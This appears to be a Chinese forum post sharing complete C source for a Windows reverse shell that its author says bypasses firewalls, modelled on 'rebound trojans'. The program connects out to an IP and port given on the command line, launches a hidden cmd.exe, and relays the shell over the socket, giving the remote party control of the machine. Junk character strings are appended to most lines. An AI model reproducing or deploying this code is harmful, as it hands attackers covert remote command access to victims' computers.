Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ijcF[bmE  
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/* ============================== ]#S<]vA  
Rebound port in Windows NT 18j>x3tn  
By wind,2006/7 Jzp|#*~$E  
===============================*/ $BLd>gTzmv  
#include E>|fbaN-%  
#include
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#pragma comment(lib,"wsock32.lib") @}r s6 G  
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void OutputShell(); <}xgp[O  
SOCKET sClient; UZ-pN_!Z:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KAVkYL0  
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void main(int argc,char **argv) x'G_z_<V  
{ Q`O~f<a  
WSADATA stWsaData; bO('y@)X  
int nRet; jMX+uYx M  
SOCKADDR_IN stSaiClient,stSaiServer; G `eU   
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if(argc != 3) @5??`n  
{ hVz]',  
printf("Useage:\n\rRebound DestIP DestPort\n"); qm9=Ga5  
return; D#,A_GA{A  
} EpT^r8I  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'aeuL1mz  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %ol1WG9  
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stSaiClient.sin_family = AF_INET; .Y!dO@$:  
stSaiClient.sin_port = htons(0); ]R^xO;g'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1;,<UHF8N  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d|gfp:Z`a  
{ 8X? EB6=c  
printf("Bind Socket Failed!\n"); ~XXNzz]?  
return; oOLj? 0t  
} [T3%Xt'4  
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stSaiServer.sin_family = AF_INET; s`yg?CR`,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |NTqJ j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8"[{[<-   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lQRtsmZ0  
{ w}97`.Kt!n  
printf("Connect Error!"); yr.sfPnJK  
return; $EdL^Q2KAy  
} fU.z_T[@  
OutputShell(); (_N(K`4#W  
} U9\w)D|+eE  
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void OutputShell() <&((vrfa  
{ qd'Z|'j  
char szBuff[1024]; Qip@L WvT  
SECURITY_ATTRIBUTES stSecurityAttributes; #g2&x sU  
OSVERSIONINFO stOsversionInfo; xlsAct:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I2)2'j,B  
STARTUPINFO stStartupInfo; "d0D8B7HI@  
char *szShell; |WT]s B0Eq  
PROCESS_INFORMATION stProcessInformation; & \C1QkI  
unsigned long lBytesRead; I,Jb_)H&t  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); On[yL$?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); SC3_S.  
stSecurityAttributes.lpSecurityDescriptor = 0; YKOj  
stSecurityAttributes.bInheritHandle = TRUE; SUvrOl   
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y M-k]_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CFoR!r:X  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n7/&NiHxv/  
stStartupInfo.wShowWindow = SW_HIDE; nYBa+>3BDf  
stStartupInfo.hStdInput = hReadPipe; g<$2#c}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I;UT;/E2  
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GetVersionEx(&stOsversionInfo); }Q6o#oZ  
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switch(stOsversionInfo.dwPlatformId) [e{W:7uFV  
{ ZhC,nbM  
case 1: )tS;g
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szShell = "command.com"; R`Hy0;X  
break;  BJg  
default: mO8/eVws[M  
szShell = "cmd.exe"; /*M3Ns1@2  
break; Czy}~;_Ay  
} yGV>22vv M  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5e?<x>e  
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send(sClient,szMsg,77,0); xm=$D6O:  
while(1) s5*HS3D  
{ D O||o&u  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2,|;qFJY-@  
if(lBytesRead) B;piO-hH  
{ =NNxe"Kd;U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3kwkU  
send(sClient,szBuff,lBytesRead,0); (I+e@UUiL  
} }EJ/H3<  
else i;29*"  
{ ^oW{N  
lBytesRead=recv(sClient,szBuff,1024,0); zW)Wt.svP  
if(lBytesRead<=0) break; BP\6N%HC%&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _w'_l>I  
}
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} K(WKx7Kky^  
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return; hp2$[p6O  
}